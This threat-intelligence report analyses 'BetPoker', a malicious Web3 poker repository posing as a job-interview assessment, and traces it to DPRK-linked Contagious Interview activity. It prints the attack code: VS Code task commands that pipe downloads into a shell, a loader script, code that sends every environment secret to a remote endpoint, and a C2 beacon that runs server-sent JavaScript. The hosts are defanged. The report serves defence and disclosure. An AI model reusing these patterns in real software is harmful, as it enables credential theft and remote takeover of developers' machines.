“The table is set like an altar, and whoso sits there is counted among the damned.”

Executive Summary

A threat actor operating under the GitHub organisation LimitBreakOrgs used a repository named bet_ver_1, publicly described as “BetPoker”, as a malicious Web3 gaming assessment project. The organisation name appears designed to resemble limitbreakinc, the legitimate GitHub organisation associated with Limit Break Inc., a Web3 gaming company. The preserved repository presents as a Web3 poker and sports betting platform and contains two independent execution routes: one through a VS Code folder-open task, and one through backend startup via npm start.

Both execution routes terminate in the same JavaScript Stage 2 registrar beacon. The beacon collects basic host identity material, including hostname, non-null MAC addresses, and OS fingerprint, then polls a plain-HTTP Express C2 endpoint every five seconds with campaign marker env991228 and a durable instanceId. The Stage 2 registrar C2 was observed in a standby state during analysis. A BetPoker-specific Stage 3 controller was not captured in this investigation; Stage 3 controller capabilities discussed in this report are treated as external cluster context from Microsoft reporting, not directly recovered BetPoker payload evidence.

The initial contact vector for this specific repository was not directly observed. Delivery through a fake recruiter or fake technical interview remains consistent with prior ThreatProphet cases and public Contagious Interview reporting, but it is not asserted as confirmed for this repository without additional evidence.

The most notable behavior in this case is the credential-gated environment exfiltration path. The backend loads both .env and .env.local, posts the merged process.env object to a Vercel-hosted gate endpoint, and executes the returned JavaScript with new Function("require", response.data)(require). Probes lacking the expected victim environment receive a plausible public IP-checking response, preserving the cover story of an ip-checking service and potentially exposing the probing host’s IP and VPN status to the service operator.

File-level artifacts link BetPoker to earlier ThreatProphet reporting. The .env.local file is byte-for-byte identical to the credential-harvesting template observed in the TP-2026-002 lure cluster, and the Registrar dependency package.json matches the artifact recovered from the TP-2026-001 Vercel delivery infrastructure. The beacon marker env991228 also preserves the 1228 suffix observed in TP-2026-001, supporting sub-campaign continuity.

Attribution is assessed at low-to-medium confidence to DPRK-linked Contagious Interview-aligned activity. The assessment is based on tradecraft and artifact overlap, not on independent confirmation of operator identity.


Evidence Basis and Scope

This report is based on preserved repository contents, file hashes, captured Vercel delivery responses, captured credential-gate behavior, and a live C2 standby response recorded during the original investigation window. The evidence archive is not distributed with the public report. Public comparison points are provided through hashes, repository identifiers, observable code patterns, and network indicators.

Claims in this report are separated as follows:

  • Directly observed in BetPoker: repository structure, package scripts, .vscode/tasks.json, .env and .env.local behavior, backend module-load execution, credential-gate request structure, Stage 2 registrar beacon, C2 standby response, repository HEAD metadata, author-frequency metadata, and file hashes.
  • Cross-campaign correlation: file-hash and string-level matches with TP-2026-001 and TP-2026-002.
  • External cluster context: Stage 3 controller capabilities and externally reported cluster indicators from Microsoft and GitLab. These are included for defensive context but are not treated as recovered BetPoker Stage 3 evidence.

Attack Overview

Lure and Impersonation

The repository is hosted under the GitHub organisation LimitBreakOrgs, which appears to typosquat limitbreakinc, the legitimate GitHub organisation associated with Limit Break Inc. The naming is consistent with a Web3 gaming impersonation theme and mirrors the brand-impersonation pattern documented in TP-2026-001, where a malicious GitHub organisation imitated a legitimate software company.

The preserved repository history is dominated by geracimos-crypto422 <interview.animoca+5@gmail.com>, which accounts for 114 commits. A secondary historical author, Ivan <167746537+DeAngDai354@users.noreply.github.com>, appears in two commits and should be treated cautiously as inherited, fork-related, or historical repository metadata unless corroborated by additional operator-controlled activity. The base string interview.animoca impersonates Animoca Brands thematically. The +5 suffix is a Gmail plus-addressing tag and should be treated as an operator-managed persona artifact, not as proof that a separate mailbox or a fifth account exists.

The preserved HEAD commit is 166c9dfac5ffa53919ee8952a36b68a7be983f8c, authored by geracimos-crypto422 <interview.animoca+5@gmail.com> on 2026-02-27 at timezone offset -0300, with subject update version. Timezone metadata is useful for clustering but weak as a standalone attribution signal because it can reflect local configuration, automation, VPN-associated workflows, or deliberate manipulation.

The repository presents as a full-stack Web3 poker platform: React/Next.js frontend, Node.js backend, Solidity smart contracts, MongoDB/PostgreSQL, Redis, and Phaser.js/Unity references. It had 58 commits, 1 star, and 1 fork at time of analysis. Installation instructions in the README are npm install followed by npm start. In a normal developer workflow, opening the repository in VS Code can expose the user to the folder-open task route, while following the README startup path exposes the user to the backend environment-exfiltration route.

Kill Chain

  1. Target is directed to evaluate the LimitBreakOrgs/bet_ver_1 repository as a technical interview assessment. The initial contact vector for this specific repository was not directly observed during this investigation; delivery via LinkedIn fake recruiter persona is consistent with prior campaigns in this cluster (TP-2026-001, TP-2026-002) and with broader Contagious Interview tradecraft, but should not be assumed for this repository specifically without additional evidence.
  2. Target clones the repository and opens the folder in VS Code. In a trusted VS Code workspace, or where automatic tasks have been allowed, .vscode/tasks.json can execute an OS-specific pipe-to-shell command via runOn: folderOpen. VS Code may prompt before allowing automatic tasks, so this is abuse of a legitimate developer workflow rather than a VS Code exploit.
  3. Independently, following the README instructions and running npm start triggers the server route: loadEnv.js merges .env and .env.local into process.env, then auth.js executes at module load, POSTing the victim’s complete environment to the credential gate endpoint and receiving the registrar beacon payload in response.
  4. Via either route, the same JavaScript registrar beacon is installed and executed. It collects hostname, MAC addresses, and OS fingerprint, then beacons to 185.163.125[.]196:3000/api/errorMessage every five seconds with campaign marker env991228, tracking session state via a durable instanceId.
  5. When the operator activates, the C2 delivers a Stage 3 controller payload via the status: "error" response path. Based on Microsoft’s analysis of related infrastructure, the next-stage controller in this campaign cluster is a persistent tasking client that polls a separate endpoint for a messages[] task array, executes tasks by piping JavaScript into a child Node interpreter, supports operator-directed directory enumeration and staged file exfiltration, and includes a kill switch. A BetPoker-specific Stage 3 controller response was not captured; the Stage 2 registrar C2 was in standby state at time of analysis. Stage 3 controller behavior described below is external cluster context, not directly recovered BetPoker evidence.

Technical Analysis

Execution Route 1 - VS Code Task Auto-Execution

File: .vscode/tasks.json

The task is labelled "env" - a label observed consistently across multiple Contagious Interview repositories in prior ASTRO reporting and in TP-2026-001. The runOptions.runOn: "folderOpen" property can execute the task when the folder is opened in VS Code after the workspace and automatic task execution are trusted or allowed. The presentation options suppress terminal visibility (reveal: silent, close: true, echo: false). The malicious commands are heavily indented in the raw file, pushing the delivery URL out of the default editor viewport - a low-cost evasion technique noted by Abstract Security ASTRO as increasingly common in this cluster.

The task implements a cross-platform pipe-to-shell primitive:

# Linux
wget -qO- 'hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/linux' | sh

# macOS
curl -L 'hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/mac' | bash

# Windows
curl --ssl-no-revoke -L hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/windows | cmd

The current delivery domain vscode-settings-tasks-227[.]vercel[.]app replaced vscode-ipchecking[.]vercel[.]app in commit 166c9df. The prior domain was the active Stage 1 endpoint documented in TP-2026-001. This is a direct infrastructure rotation rather than a new campaign.

All three platform endpoints were live and responding at time of analysis. The Linux and macOS endpoints return an identical Stage 1a loader:

#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/.vscode"
mkdir -p "$TARGET_DIR"
clear
wget -q -O "$TARGET_DIR/vscode-bootstrap.sh" \
  "hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/bootstraplinux"
clear
chmod +x "$TARGET_DIR/vscode-bootstrap.sh"
clear
nohup bash "$TARGET_DIR/vscode-bootstrap.sh"
clear
exit 0

The echo "Authenticated" output is a deliberate social engineering element - it makes the silent task appear to be performing a legitimate credential check. The macOS variant includes more verbose inline comments but is functionally identical.

Stage 1b - Bootstrap (/api/settings/bootstraplinux)

The bootstrap script performs the following operations silently:

  1. Checks for a global Node.js installation; if absent, queries nodejs.org/dist/index.json for the latest version and downloads a portable Node.js binary into $HOME/.vscode/, extracting and removing the tarball.
  2. Records the current working directory name to $HOME/.vscode/<foldername>.txt - this is victim workspace fingerprinting, writing the lure repository name to disk where the running implant can read it.
  3. Downloads env-setup.js (the beacon implant) and package.json from /api/settings/env and /api/settings/package respectively into $HOME/.vscode/.
  4. Runs npm install to pull dependencies (axios, request).
  5. Executes env-setup.js via Node.js.

The portable Node.js fallback ensures execution succeeds on machines without a pre-existing Node.js environment, significantly broadening the potential victim pool beyond developers with an established Node setup.

Windows path: The /api/settings/windows endpoint returns a minimal .cmd launcher that downloads vscode-bootstrap.cmd from /api/settings/bootstrap. The Windows bootstrap was not retrieved in this investigation; the download chain is structurally equivalent.

Execution Route 2 - Server Startup via npm start

Files: server/server.js, server/config/loadEnv.js, server/routes/api/auth.js, server/controllers/auth.js

On npm start, server.js calls require('./config/loadEnv')() which loads both .env and .env.local into process.env via dotenv. It then calls configureRoutes(), which requires server/routes/api/auth.js.

At module level in auth.js, validateApiKey() is called immediately on require():

const verified = validateApiKey();
if (!verified) {
  console.log("Aborting mempool scan due to failed API verification.");
  return;
}

The console message references a “mempool scan” - language that blends naturally into the expected output of a Web3 backend. However, this abort path never actually fires. validateApiKey() is declared async but neither awaits its internal promise nor returns it, meaning the function returns undefined immediately. The if (!verified) check always evaluates to true and the deception message prints unconditionally on every startup, while the .then() chain - which contains the exfiltration logic - executes asynchronously in the background regardless:

async function validateApiKey() {
  verify(setApiKey(process.env.AUTH_API))  // promise never awaited
    .then((response) => {
      const executor = new Function("require", response.data);
      executor(require);  // RCE
      console.log("API Key verified successfully.");
      return true;
    })
    .catch((err) => {
      console.log("API Key verification failed:", err);
      return false;
    });
  // implicit return undefined
}

From a detection standpoint: the string "Aborting mempool scan due to failed API verification." appearing in Node.js output does not indicate the process terminated safely - it indicates exfiltration has already started.

Exfiltration and gate (server/controllers/auth.js):

const setApiKey = (s) => atob(s);

const verify = (api) =>
  axios.post(api, { ...process.env }, {
    headers: { "x-app-request": "ip-check" }
  });

atob(process.env.AUTH_API) decodes the Base64 value from .env to hxxps://ip-checking-notification-firebase-2[.]vercel[.]app/api. The full process.env - including every variable from both .env and .env.local - is then POSTed as JSON with the campaign fingerprint header x-app-request: ip-check. This header was also present in the TP-2026-001 Stage 1 endpoint at vscode-ipchecking[.]vercel[.]app, establishing direct infrastructure continuity.

The exfiltrated snapshot includes all variables present in the merged environment at runtime:

NODE_ENV, PORT, ALCHEMY_API_KEY, WEB3_PROVIDER_URL,
ETHERSCAN_API_KEY, POLYGONSCAN_API_KEY, POLYGON_RPC_URL,
INFURA_IPFS_PROJECT_ID, INFURA_IPFS_PROJECT_SECRET,
PINATA_API_KEY, PINATA_API_SECRET, STRIPE_SECRET_KEY,
COINBASE_COMMERCE_API_KEY, AWS_ACCESS_KEY_ID,
AWS_SECRET_ACCESS_KEY, AWS_REGION, OPENAI_API_KEY,
SENTRY_DSN, AUTH_API, INFURA_PROJECT_ID,
INFURA_PROJECT_SECRET, SESSION_SECRET
+ any real credentials the victim has loaded into .env.local

The .gitignore Manipulation and Credential Gate

Commit 6b5a801 removes .env.local from .gitignore and commits the file to the repository. This is a three-part trap. By convention, .env.local is where developers store their actual local credentials, overriding the placeholder values in .env. By committing a realistic template - containing INFURA_PROJECT_ID, INFURA_PROJECT_SECRET, and SESSION_SECRET - the actor provides a model for what to add while ensuring the file is tracked by git. Most importantly, loadEnv.js explicitly loads .env.local on every server startup, so its variables are always included in the exfiltration POST.

These same three variables - INFURA_PROJECT_ID, INFURA_PROJECT_SECRET, SESSION_SECRET - are the confirmed gate keys documented in the TP-2026-002 Japanese-Royal campaign. Because loadEnv.js guarantees these variables are present in process.env for every genuine victim execution of the preserved repository, the credential gate is effectively satisfied without requiring the victim to hold any real credentials. The operator receives environment material on every execution; real credentials in the victim’s local .env.local are harvested as a side effect.

GitLab’s concurrent analysis of North Korean Contagious Interview activity independently documents the same .env-based staging pattern at scale across more than 80% of the 131 accounts they banned in 2025. Their year-in-review identifies a standardized structure: a base64-encoded staging URL, a header key, and a header value masquerading as benign configuration variables in .env, combined with a trigger function and a Function.constructor error handler executing server-returned JavaScript. The structural parallel to TP-2026-004 is direct - AUTH_API in this campaign encodes only the URL, while the GitLab-documented canonical variant separates URL, header key, and header value into three variables (RUNTIME_CONFIG_API_KEY, RUNTIME_CONFIG_ACCESS_KEY, RUNTIME_CONFIG_ACCESS_VALUE). The functional logic is identical. GitLab also independently confirms the decoy mechanism: staging URLs in this cluster commonly return benign content unless the correct header values are present - the same gating behavior observed at ip-checking-notification-firebase-2[.]vercel[.]app.

The .env.local file committed in this repository is byte-for-byte identical (SHA256: 37eb8e11b40527de0881189064c657fe1623d6b2c8ad16fc8136782e89367ead) to the .env.local present in all lure repositories in the TP-2026-002 cluster - 0xroaman-1/Japanese-Royal, 0xroaman-1/Betfin, and 0xroaman-2/Betfin. This is a direct file-level link across campaigns.

Credential Gate Endpoint and Decoy Behavior

Endpoint: hxxps://ip-checking-notification-firebase-2[.]vercel[.]app/api

The endpoint name maintains cover as an IP checking or Firebase notification service. Direct probing with a partial environment - or any probe lacking the full merged process.env including AUTH_API - returns a convincing decoy response:

{
  "status": "OK",
  "message": "Public API response",
  "client": {
    "ipAddress": "89.249.72.12",
    "vpnDetected": false,
    "note": "Connection appears normal. For best performance, avoid VPNs or anonymized routes."
  }
}

This decoy is not a generic empty response. It renders the endpoint’s cover identity plausible to a casual analyst, returns the probing party’s apparent IP address and reports VPN status. This behavior may help the operator identify analysts or automated probes while maintaining the endpoint’s cover story. The endpoint is simultaneously a payload gate, an exfiltration sink, and an analyst detection mechanism.

A probe with the full merged environment, including AUTH_API from .env, returned the beacon payload directly. This indicates that AUTH_API presence, or the complete environment shape containing it, is a likely gate discriminator because it is present in genuine repository execution and usually absent from casual external probes.

The response body is executed immediately via new Function("require", response.data)(require).

Stage 2 - Registrar Beacon and C2

Staging note: This report numbers the repository and Vercel delivery loaders as Stage 1, the credential-gate response / registrar beacon as Stage 2, and the unrecovered operator tasking controller as Stage 3. Some external reporting uses different numbering; where necessary, this report prioritizes functional labels over stage numbers.

Both delivery routes terminate at Stage 2 registrar-beacon logic. The VS Code task route delivers a minified beacon, while the server-route gate response returns readable source. They are not byte-identical, and naive text-similarity comparisons vary because of minification and capture wrappers. Functional equivalence is assessed from shared behavior: both require axios and os, collect hostname, MAC addresses, and OS fingerprint, call hxxp://185.163.125[.]196:3000/api/errorMessage, use exceptionId=env991228, maintain instanceId, poll every five seconds, and execute response.data.message through new Function when the C2 returns status: "error".

The recovered server-route gate response is therefore treated as the Stage 2 registrar beacon. The HTTP/2 capture shows the gate request to ip-checking-notification-firebase-2[.]vercel[.]app/api with x-app-request: ip-check, and the returned JavaScript performs host profiling and repeated polling of 185.163.125[.]196:3000/api/errorMessage with exceptionId=env991228 and instanceId.

// Annotated - Stage 2 registrar beacon (both routes)
const axios = require("axios");
const os = require("os");

let instanceId = 0;  // durable session identifier, updated by C2

function getSystemInfo() {
  return {
    hostname: os.hostname(),
    macs: Object.values(os.networkInterfaces())
      .flat().filter(Boolean)
      .map(n => n.mac)
      .filter(mac => mac && mac !== "00:00:00:00:00:00"),
    os: `${os.type()} ${os.release()} (${os.platform()})`
  };
}

async function checkServer() {
  try {
    const res = await axios.get(
      "hxxp://185.163.125[.]196:3000/api/errorMessage",  // Stage 2 registrar C2 - plain HTTP
      {
        params: {
          sysInfo: getSystemInfo(),
          exceptionId: "env991228",  // campaign marker
          instanceId                 // correlates sessions across polls
        }
      }
    );
    if (res.data.status === "error") {
      // Stage 3 controller bootstrap may be delivered here and executed in-memory
      new Function("require", res.data.message)(require);
    } else {
      if (res.data.instanceId) instanceId = res.data.instanceId;
    }
  } catch (err) {}
}

checkServer();
setInterval(checkServer, 5000);  // beacon every 5 seconds

The Stage 2 registrar C2 at 185.163.125[.]196:3000 was confirmed live and in standby state at 2026-03-02T22:51:30Z, returning {"status":"ok","message":"server connected"}. The server identifies as Express (X-Powered-By: Express) and communicates over plain HTTP on port 3000. The instanceId mechanism allows the operator to correlate a specific victim across polling intervals before activating - the initial registration sends instanceId=0; the server may return a durable identifier which the client reuses in all subsequent polls.

The credential-gate response uploaded with this evidence is the Stage 2 registrar beacon. It should not be treated as the persistent Stage 3 controller. The BetPoker-specific Stage 3 controller remains unrecovered in this investigation.

Note on 185.163.125[.]196: This IP does not appear in Microsoft’s published IOC list for the broader campaign cluster, which includes 87.236.177[.]9, 147.124.202[.]208, 163.245.194[.]216, and 66.235.168[.]136. It should be treated as a new C2 node not previously reported.

Stage 3 - Persistent Controller Context (Not Captured in BetPoker)

Stage 2 is a lightweight registrar. During this investigation, the BetPoker C2 remained in standby state and did not deliver the next-stage operator controller. The following behaviors are included as external cluster context from Microsoft reporting on related malicious developer-assessment repositories, not as directly recovered BetPoker Stage 3 evidence:

  • Separate C2 infrastructure: the next-stage controller communicates with a distinct C2 IP and API surface provided by the registrar response, not hardcoded in the Stage 2 registrar itself.
  • Operator tasking via messages[] array: the next-stage controller polls a tasking endpoint and receives an array of JavaScript tasks for execution, maintaining session state and supporting identity rotation between rounds.
  • In-memory execution via child Node interpreter: Tasks are piped into a child node process via STDIN rather than written to disk, reducing on-disk artifacts.
  • Operator-directed discovery: Paired directory enumeration endpoints (/api/hsocketNext, /api/hsocketResult) allow the operator to browse the victim filesystem interactively.
  • Staged file exfiltration: A multi-step upload workflow (/upload, /uploadsecond, /uploadend) supports targeted file transfer after operator-directed collection.
  • Kill switch and process management: the next-stage controller can stop managed processes and exit cleanly on operator instruction.
  • Error telemetry: A reporting endpoint (/api/reportErrors) receives execution status, providing the operator with visibility into task success or failure.

This design separates initial delivery and registration (Stages 1-2) from exploitation through the next-stage controller, allowing the operator to selectively activate only victims of interest and rotate controller infrastructure independently.

Three file-level or string-level artifacts directly link this campaign to prior ThreatProphet investigations:

ArtifactValueAlso in
.env.localSHA256 37eb8e11...TP-2026-002: all 0xroaman-1 and 0xroaman-2 lure repos
Stage 1 package.jsonSHA256 6effad9f...TP-2026-001: vscode-ipchecking[.]vercel[.]app/api/settings/package
exceptionId suffix1228 in env991228TP-2026-001: beacon parameter exceptionId=1228

The package.json match is particularly significant: the operator rotated the Stage 1 delivery domain from vscode-ipchecking[.]vercel[.]app (TP-2026-001) to vscode-settings-tasks-227[.]vercel[.]app (TP-2026-004), but reused the exact same package.json artifact served from the new domain. The infrastructure rotated; the tooling did not.


Key Evolution from TP-2026-001

AspectTP-2026-001 (Tech-Core)TP-2026-004 (BetPoker)
Payload stagingBSC smart contract getMemo()Base64-encoded URL in .env as AUTH_API
Delivery domainvscode-ipchecking[.]vercel[.]appvscode-settings-tasks-227[.]vercel[.]app
Gate / staging endpointHardcoded C2 IP 163.245.194[.]216:3000Vercel gate ip-checking-notification-firebase-2[.]vercel[.]app
C2 IP163.245.194[.]216185.163.125[.]196
Gate mechanismNone - direct C2 beaconCredential-gated with analyst-aware decoy response
.env.localNot trackedRemoved from .gitignore, committed as gate key template
exfil headerx-app-request: ip-checkx-app-request: ip-check - identical
RCE primitivenew Function('require', payload)(require)new Function('require', payload)(require) - identical
exceptionId1228env991228 (suffix preserved)
Org impersonationSoftstack-Hub5 → SOFTSTACK GmbHLimitBreakOrgs → Limit Break Inc.
Email identitystevejame329+1@gmail.cominterview.animoca+5@gmail.com

MITRE ATT&CK Mapping

Technique IDNameTacticNotes
T1566.003Spearphishing via ServiceInitial AccessFake technical-assessment delivery is consistent with the cluster, but the initial contact platform for this repository was not directly observed.
T1204.002User Execution: Malicious FileExecutionVictim opens/trusts the repository in VS Code or follows README startup instructions.
T1059.007Command and Scripting Interpreter: JavaScriptExecutionNode.js new Function() executes server-returned JavaScript; Stage 2 registrar is JavaScript.
T1059.004Unix ShellExecutionLinux/macOS VS Code tasks use `wget/curl
T1059.003Windows Command ShellExecutionWindows VS Code task pipes curl output to cmd.
T1071.001Application Layer Protocol: Web ProtocolsCommand and ControlPlain HTTP beacon to 185.163.125[.]196:3000; HTTPS used for Vercel delivery and gate infrastructure.
T1027Obfuscated Files or InformationDefense EvasionBase64-encoded AUTH_API, minified beacon, and horizontally padded task configuration.
T1552.001Unsecured Credentials: Credentials In FilesCredential Access.env and .env.local variables are merged into process.env and posted to the gate endpoint.
T1119Automated CollectionCollection{...process.env} collects the full runtime environment in one operation.
T1105Ingress Tool TransferCommand and ControlVercel endpoints download loader, bootstrap, package manifest, and beacon payload into $HOME/.vscode/.
T1036.005Masquerading: Match Legitimate Name or LocationDefense EvasionBrand-impersonating organisation and email persona; env task label and Web3-themed console strings blend with expected project behavior.

Infrastructure Analysis

IndicatorTypeStatus at Analysis
vscode-settings-tasks-227[.]vercel[.]appStage 1 delivery domainActive during analysis; platform endpoints returned loader content.
ip-checking-notification-firebase-2[.]vercel[.]appCredential gate / environment exfiltration endpointActive during analysis; returned decoy on ungated probes and beacon payload on gated probe.
185.163.125[.]196:3000Stage 2 registrar C2Active during analysis; returned standby response at 2026-03-02T22:51:30Z.
vscode-ipchecking[.]vercel[.]appPrior Stage 1 delivery domain from TP-2026-001Historical cross-campaign correlation; not treated as active BetPoker infrastructure.
github[.]com/LimitBreakOrgs/bet_ver_1Lure repositoryActive at time of analysis.

The Vercel-hosted delivery and gate endpoints should be treated as actor-controlled application endpoints, not as evidence that Vercel infrastructure itself is malicious. Vercel edge IPs are shared infrastructure and should not be used as blocking indicators without additional context.

The Stage 2 registrar communicates over plain HTTP on TCP/3000 with an Express-style response. The observed standby response indicates the server was live but did not activate the next-stage controller during the investigation window.


Indicators of Compromise

Indicators are provided for defensive comparison. Directly observed BetPoker indicators are separated from externally reported related-cluster indicators.

Network Indicators - Directly Observed in BetPoker

IndicatorTypeNotes
185.163.125[.]196IPv4Stage 2 registrar C2, confirmed active during analysis.
185.163.125[.]196:3000IP:PortStage 2 beacon destination over plain HTTP.
vscode-settings-tasks-227[.]vercel[.]appDomainStage 1 delivery domain for Linux, macOS, and Windows loaders.
ip-checking-notification-firebase-2[.]vercel[.]appDomainCredential gate and environment exfiltration endpoint.
hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/linuxURLLinux Stage 1a loader.
hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/macURLmacOS Stage 1a loader.
hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/windowsURLWindows Stage 1a loader.
hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/bootstraplinuxURLLinux/macOS bootstrap script.
hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/envURLMinified Stage 2 registrar beacon.
hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/packageURLStage 2 registrar dependency manifest.
hxxps://ip-checking-notification-firebase-2[.]vercel[.]app/apiURLCredential gate endpoint loaded from Base64-encoded AUTH_API.
/api/errorMessageURL pathStage 2 registrar C2 beacon path.
exceptionId=env991228URL parameterCampaign marker in Stage 2 beacon.
x-app-request: ip-checkHTTP headerCredential-gate fingerprint header.
IndicatorTypeNotes
87.236.177[.]9IPv4Externally reported next-stage controller infrastructure in Microsoft analysis; not directly observed as BetPoker C2.
147.124.202[.]208IPv4Externally reported error-reporting C2 in Microsoft analysis; not directly observed as BetPoker C2.
163.245.194[.]216IPv4TP-2026-001 / Microsoft cluster C2; cross-campaign context.
66.235.168[.]136IPv4Externally reported related-cluster C2.
ip-checking-notification-firebase[.]vercel[.]appDomainExternally reported related gate domain.
ip-checking-notification-firebase111[.]vercel[.]appDomainExternally reported related gate domain.
ip-check-notification-firebase03[.]vercel[.]appDomainExternally reported related gate domain.
ip-check-notification-03[.]vercel[.]appDomainExternally reported related gate domain.
ip-check-wh[.]vercel[.]appDomainExternally reported related gate domain.
ip-check-notification-rkb[.]vercel[.]appDomainExternally reported related gate domain.
price-oracle-v2[.]vercel[.]appDomainExternally reported related delivery domain.
/api/handleErrorsURL pathExternally reported next-stage tasking endpoint.
/api/reportErrorsURL pathExternally reported next-stage telemetry endpoint.
/api/hsocketNext, /api/hsocketResultURL pathExternally reported directory enumeration endpoints.
/upload, /uploadsecond, /uploadendURL pathExternally reported staged file-exfiltration endpoints.

File and Payload Hashes

Hashes are included for independent comparison with repository mirrors, captured delivery responses, and recovered payloads. The evidence archive itself is not distributed with the public report.

SHA256ArtifactNotes
5f70dd06715b95b3bedacd06a37e051611901e56246af05fa3ed9f734082de43.vscode/tasks.jsonVS Code folder-open task route.
f72cc8399e6cea8463ff7c20d8f3e6c2fb81ea32d4741cb4a3676ad461ff67bcRoot package.jsonRepository root manifest.
b8c2b82b28909448c3b1eff1e0d96ada3ba171f1615aadfb95e2ef08a8dbb77f.envContains Base64-encoded gate URL as AUTH_API.
37eb8e11b40527de0881189064c657fe1623d6b2c8ad16fc8136782e89367ead.env.localShared credential-template artifact also observed in TP-2026-002 lure repositories.
a9db9559a1e97762d0e72715301329bc325d08e239a29e1382e99033ede986deserver/server.jsBackend entry point.
cc9e443872d99b07e4bf5f6baa6144fbe0fd24bc610e58340d9b8c755df17fceserver/controllers/auth.jsEnvironment exfiltration and gate logic.
28e73ce85db813ba0839ee077428eaa121037e3a1ec8a13b1171e68cc2a0accdserver/routes/api/auth.jsModule-load trigger.
c08356a5a4ebbd8804c9acbe2e0c1b986d867b057d2e827ae663e4aec2204ed2server/config/loadEnv.jsLoads .env and .env.local into process.env.
4dbd9706e23a4cb59928db286e484eabcb08ad902ffc259a1c3342045e4e5883Linux Stage 1a loaderDelivery response from /api/settings/linux.
3a188d076eb5b377b67753bd6020dea99c3f7775269bd8ebd001806d1b274ccamacOS Stage 1a loaderDelivery response from /api/settings/mac.
0b7e58229a53dad3edd707ba0c5336055ed7c4b0cbc6a52f79f9a88c6781f955Windows Stage 1a loaderDelivery response from /api/settings/windows.
8e9769b4727f8c1eb7a28699296022126ecb0b2774f0e2da3f67d07ff8bcc01fStage 1b bootstrap scriptDelivery response from /api/settings/bootstraplinux.
6effad9fdee81589b37c60bbbae20483200bf53bee3e3c107b1aa47d2ac4ccb3Registrar dependency package.jsonMatches the TP-2026-001 Vercel-delivered package artifact.
165324541c8f2d0a4bdac12fcf7ccc1738caf7e36bb11721186e0c560c4a8a69Minified Stage 2 registrar beaconDelivered through the VS Code task route.
b8fb424f27ab1aaa736cf510ea77c1e6e1b7ab25692e64ee7f16c824fcb3a197Readable Stage 2 registrar beaconReturned by the credential-gated server route.
37357f9b8a83b1a12689b2ff9a1d913669e0a911f2e526ab2ddb575844c4c0c6Repository mirror archivePreserved repository archive hash.
435868c179567a62ac18685b4ab6180d50e72823aa1a6d770ea7570172bc0028Gated probe captureFull-environment gate response capture.
bb1ec9c8a23dd4f518f44f25b88b34b9ebfc36fee236207942eeca26ff9a79deStage 2 registrar C2 standby responseC2 probe capture at 2026-03-02T22:51Z.

Code Pattern Indicators

PatternTypeNotes
runOn: folderOpen in .vscode/tasks.jsonCode patternVS Code automatic task trigger; requires workspace/automatic-task trust conditions.
new Function("require", payload)(require)Code patternServer-returned JavaScript execution primitive.
{...process.env} as POST bodyCode patternFull runtime environment exfiltration.
setApiKey = (s) => atob(s)Code patternBase64 decode of AUTH_API gate URL.
Task label "env"Code patternBenign-looking task label used for delivery route.
/api/settings/{linux,mac,windows}URL path patternPlatform-specific Stage 1 dispatch.
x-app-request: ip-checkHTTP headerCredential-gate fingerprint header.

Repository and Identity Indicators

IndicatorTypeNotes
github[.]com/LimitBreakOrgs/bet_ver_1RepositoryPrimary lure repository, active at analysis.
LimitBreakOrgsGitHub organisationBrand-impersonating organisation name.
166c9dfac5ffa53919ee8952a36b68a7be983f8cCommitPreserved HEAD commit, subject update version, dated 2026-02-27 11:25:53 -0300.
geracimos-crypto422GitHub accountDominant observed Git author, 114 commits.
interview.animoca+5@gmail.comEmailGit author identity; persona artifact using Gmail plus-addressing.
Ivan <167746537+DeAngDai354@users.noreply.github.com>Git author identitySecondary historical author with two commits; not treated as operator identity without corroboration.

Attribution Assessment

Assessed confidence: Low-to-Medium

The following aspects of this campaign are consistent with DPRK-linked Contagious Interview-aligned activity:

  • Fake developer recruitment and technical-assessment delivery - a defining characteristic of Contagious Interview reporting - are consistent with the cluster, although the initial contact vector for BetPoker was not directly observed
  • NFT/Web3/gaming project theming - consistent with DPRK-linked actors’ documented focus on cryptocurrency targets under the TraderTraitor cluster
  • Cross-platform execution targeting macOS, Linux, and Windows
  • VS Code task auto-execution as the primary delivery mechanism, with the specific runOn: folderOpen pattern documented by Jamf Threat Labs and Abstract Security ASTRO as consistently used in this campaign cluster
  • The new Function('require', payload)(require) RCE primitive, the x-app-request: ip-check campaign header, and the /api/errorMessage C2 path are consistent across all three campaigns in this ThreatProphet series, suggesting a common toolkit or operator

The interview.animoca+5@gmail.com author identity reflects a systematic persona management approach consistent with the pre-staged account infrastructure observed in TP-2026-001 (Softstack-Hub4/Softstack-Hub5) and the numbered identities in TP-2026-002.

GitLab’s public reporting describes North Korean Contagious Interview and IT-worker activity as involving multiple operational streams and varied tradecraft, based on divergent techniques and infrastructure across simultaneous clusters. The -0300 commit timezone offset in TP-2026-004 - diverging from the consistent +0200 observed across TP-2026-002 - should therefore be treated as a clustering variation rather than decisive evidence for or against common control.

As with prior reports, TTP similarity alone does not constitute confirmed attribution. These techniques are well-documented in public reporting and could be replicated by actors familiar with prior Contagious Interview coverage.


Remediation

If You Ran the Repository

Treat this as a confirmed credential compromise regardless of how briefly the process ran. The backend route posts the merged process.env object during server startup, before any meaningful application output appears. The VS Code task route installs a persistent beacon in $HOME/.vscode/ independent of the repository itself.

  • Isolate the affected machine from the network immediately
  • Rotate all credentials that may have been in the environment at the time of execution: AWS access keys, Infura/Alchemy/Pinata API keys, Stripe and Coinbase keys, Etherscan and Polygonscan keys, OpenAI API keys, and any other secrets loaded from .env or .env.local files
  • Check for the implant in $HOME/.vscode/: look for env-setup.js, package.json, vscode-bootstrap.sh, and any .txt files named after project directories
  • Audit cloud provider access logs for anomalous API calls in the window following execution - credential abuse may begin within seconds of the exfiltration POST
  • Check for persistent execution: cron jobs, launchd agents (macOS ~/Library/LaunchAgents/), systemd user units, and registry Run keys (Windows)
  • If Chrome or Brave is installed and browser wallets were present, treat wallet extensions and browser-stored secrets as exposed. Remove and reinstall wallet extensions from official sources, revoke active sessions where possible, and move funds from wallets that were unlocked or used during the compromise window.
